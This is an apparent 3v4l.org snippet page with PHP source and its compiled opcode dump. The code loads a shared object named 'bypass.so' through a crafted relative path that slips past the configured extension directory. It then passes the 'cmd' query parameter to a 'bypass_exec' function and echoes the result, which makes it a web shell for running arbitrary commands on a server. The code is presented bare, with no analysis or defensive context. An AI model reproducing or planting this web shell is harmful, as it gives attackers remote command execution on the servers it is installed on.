3v4l.org

run code in 300+ PHP versions simultaneously
<?php function dl_local( $extensionFile ) { if(!(bool)ini_get('enable_dl') ||(bool)ini_get('safe_mode')){ die('Loading extensions is not permitted.'); } if(!file_exists($extensionFile)){ die('File '.$extensionFile.' does not exist.'); } if(!is_executable($extensionFile)){ die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )'); } $currentDir = getcwd().'/'; $currentExtPath = realpath(ini_get('extension_dir')); $subDirs = preg_match_all("/\//",$currentExtPath ,$matches); unset($matches); if(!(bool)$subDirs){ die('Could not determine a valid extension path [extension_dir]'); } $extPathLastChar=strlen($currentExtPath )-1; if($extPathLastChar==strrpos($currentExtPath,'/')){ $subDirs--;}$backDirStr = ''; for($i = 1; $i <= $subDirs; $i++){ $backDirStr .='..'; if($i != $subDirs){ $backDirStr .='/'; } } $finalExtPath = $backDirStr.$currentDir.$extensionFile; if(!dl($finalExtPath)){ die(); } $loadedExtensions = get_loaded_extensions(); $thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1]; return $thisExtName; } @ini_set ('display_errors','1'); error_reporting(E_ALL); dl_local('bypass.so'); if(@$_GET['cmd']){ $output = bypass_exec($_GET['cmd']); echo '<pre>'.$output.'</pre>'; }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 27
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 27
filename:       /in/8BHYk
function name:  (null)
number of ops:  28
compiled vars:  !0 = $output
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   50     0  E >   BEGIN_SILENCE                                    ~1      
          1        INIT_FCALL                                               'ini_set'
          2        SEND_VAL                                                 'display_errors'
          3        SEND_VAL                                                 '1'
          4        DO_ICALL                                                 
          5        END_SILENCE                                              ~1
   51     6        INIT_FCALL                                               'error_reporting'
          7        SEND_VAL                                                 32767
          8        DO_ICALL                                                 
   53     9        INIT_FCALL                                               'dl_local'
         10        SEND_VAL                                                 'bypass.so'
         11        DO_FCALL                                      0          
   55    12        BEGIN_SILENCE                                    ~5      
         13        FETCH_R                      global              ~6      '_GET'
         14        FETCH_DIM_R                                      ~7      ~6, 'cmd'
         15        END_SILENCE                                              ~5
         16      > JMPZ                                                     ~7, ->27
   56    17    >   INIT_FCALL_BY_NAME                                       'bypass_exec'
         18        CHECK_FUNC_ARG                                           
         19        FETCH_FUNC_ARG               global              $8      '_GET'
         20        FETCH_DIM_FUNC_ARG                               $9      $8, 'cmd'
         21        SEND_FUNC_ARG                                            $9
         22        DO_FCALL                                      0  $10     
         23        ASSIGN                                                   !0, $10
   57    24        CONCAT                                           ~12     '%3Cpre%3E', !0
         25        CONCAT                                           ~13     ~12, '%3C%2Fpre%3E'
         26        ECHO                                                     ~13
   58    27    > > RETURN                                                   1

Function dl_local:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 7, Position 2 = 12
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 14
Branch analysis from position: 13
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 22
Branch analysis from position: 19
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 22
2 jumps found. (Code = 43) Position 1 = 27, Position 2 = 32
Branch analysis from position: 27
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 32
2 jumps found. (Code = 43) Position 1 = 53, Position 2 = 54
Branch analysis from position: 53
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 54
2 jumps found. (Code = 43) Position 1 = 63, Position 2 = 64
Branch analysis from position: 63
1 jumps found. (Code = 42) Position 1 = 72
Branch analysis from position: 72
2 jumps found. (Code = 44) Position 1 = 74, Position 2 = 67
Branch analysis from position: 74
2 jumps found. (Code = 43) Position 1 = 82, Position 2 = 83
Branch analysis from position: 82
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 83
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 67
2 jumps found. (Code = 43) Position 1 = 70, Position 2 = 71
Branch analysis from position: 70
2 jumps found. (Code = 44) Position 1 = 74, Position 2 = 67
Branch analysis from position: 74
Branch analysis from position: 67
Branch analysis from position: 71
Branch analysis from position: 64
Branch analysis from position: 12
filename:       /in/8BHYk
function name:  dl_local
number of ops:  92
compiled vars:  !0 = $extensionFile, !1 = $currentDir, !2 = $currentExtPath, !3 = $subDirs, !4 = $matches, !5 = $extPathLastChar, !6 = $backDirStr, !7 = $i, !8 = $finalExtPath, !9 = $loadedExtensions, !10 = $thisExtName
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   RECV                                             !0      
    4     1        INIT_FCALL                                               'ini_get'
          2        SEND_VAL                                                 'enable_dl'
          3        DO_ICALL                                         $11     
          4        BOOL                                             ~12     $11
          5        BOOL_NOT                                         ~13     ~12
          6      > JMPNZ_EX                                         ~13     ~13, ->12
    5     7    >   INIT_FCALL                                               'ini_get'
          8        SEND_VAL                                                 'safe_mode'
          9        DO_ICALL                                         $14     
         10        BOOL                                             ~15     $14
         11        BOOL                                             ~13     ~15
         12    > > JMPZ                                                     ~13, ->14
    6    13    > > EXIT                                                     'Loading+extensions+is+not+permitted.'
    9    14    >   INIT_FCALL                                               'file_exists'
         15        SEND_VAR                                                 !0
         16        DO_ICALL                                         $16     
         17        BOOL_NOT                                         ~17     $16
         18      > JMPZ                                                     ~17, ->22
   10    19    >   CONCAT                                           ~18     'File+', !0
         20        CONCAT                                           ~19     ~18, '+does+not+exist.'
         21      > EXIT                                                     ~19
   13    22    >   INIT_FCALL                                               'is_executable'
         23        SEND_VAR                                                 !0
         24        DO_ICALL                                         $20     
         25        BOOL_NOT                                         ~21     $20
         26      > JMPZ                                                     ~21, ->32
   14    27    >   CONCAT                                           ~22     'File+', !0
         28        CONCAT                                           ~23     ~22, '+is+not+executable.+%28+chmod+%2Bx+'
         29        CONCAT                                           ~24     ~23, !0
         30        CONCAT                                           ~25     ~24, '+%29'
         31      > EXIT                                                     ~25
   17    32    >   INIT_FCALL                                               'getcwd'
         33        DO_ICALL                                         $26     
         34        CONCAT                                           ~27     $26, '%2F'
         35        ASSIGN                                                   !1, ~27
   18    36        INIT_FCALL                                               'realpath'
         37        INIT_FCALL                                               'ini_get'
         38        SEND_VAL                                                 'extension_dir'
         39        DO_ICALL                                         $29     
         40        SEND_VAR                                                 $29
         41        DO_ICALL                                         $30     
         42        ASSIGN                                                   !2, $30
   20    43        INIT_FCALL                                               'preg_match_all'
         44        SEND_VAL                                                 '%2F%5C%2F%2F'
         45        SEND_VAR                                                 !2
         46        SEND_REF                                                 !4
         47        DO_ICALL                                         $32     
         48        ASSIGN                                                   !3, $32
   21    49        UNSET_CV                                                 !4
   23    50        BOOL                                             ~34     !3
         51        BOOL_NOT                                         ~35     ~34
         52      > JMPZ                                                     ~35, ->54
   24    53    > > EXIT                                                     'Could+not+determine+a+valid+extension+path+%5Bextension_dir%5D'
   27    54    >   STRLEN                                           ~36     !2
         55        SUB                                              ~37     ~36, 1
         56        ASSIGN                                                   !5, ~37
   29    57        INIT_FCALL                                               'strrpos'
         58        SEND_VAR                                                 !2
         59        SEND_VAL                                                 '%2F'
         60        DO_ICALL                                         $39     
         61        IS_EQUAL                                                 !5, $39
         62      > JMPZ                                                     ~40, ->64
   30    63    >   PRE_DEC                                                  !3
         64    >   ASSIGN                                                   !6, ''
   32    65        ASSIGN                                                   !7, 1
         66      > JMP                                                      ->72
   33    67    >   ASSIGN_OP                                     8          !6, '..'
   34    68        IS_NOT_EQUAL                                             !7, !3
         69      > JMPZ                                                     ~45, ->71
   35    70    >   ASSIGN_OP                                     8          !6, '%2F'
   32    71    >   PRE_INC                                                  !7
         72    >   IS_SMALLER_OR_EQUAL                                      !7, !3
         73      > JMPNZ                                                    ~48, ->67
   39    74    >   CONCAT                                           ~49     !6, !1
         75        CONCAT                                           ~50     ~49, !0
         76        ASSIGN                                                   !8, ~50
   40    77        INIT_FCALL                                               'dl'
         78        SEND_VAR                                                 !8
         79        DO_ICALL                                         $52     
         80        BOOL_NOT                                         ~53     $52
         81      > JMPZ                                                     ~53, ->83
   41    82    > > EXIT                                                     
   45    83    >   INIT_FCALL                                               'get_loaded_extensions'
         84        DO_ICALL                                         $54     
         85        ASSIGN                                                   !9, $54
   46    86        COUNT                                            ~56     !9
         87        SUB                                              ~57     ~56, 1
         88        FETCH_DIM_R                                      ~58     !9, ~57
         89        ASSIGN                                                   !10, ~58
   47    90      > RETURN                                                   !10
   48    91*     > RETURN                                                   null

End of function dl_local

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
162.37 ms | 1411 KiB | 36 Q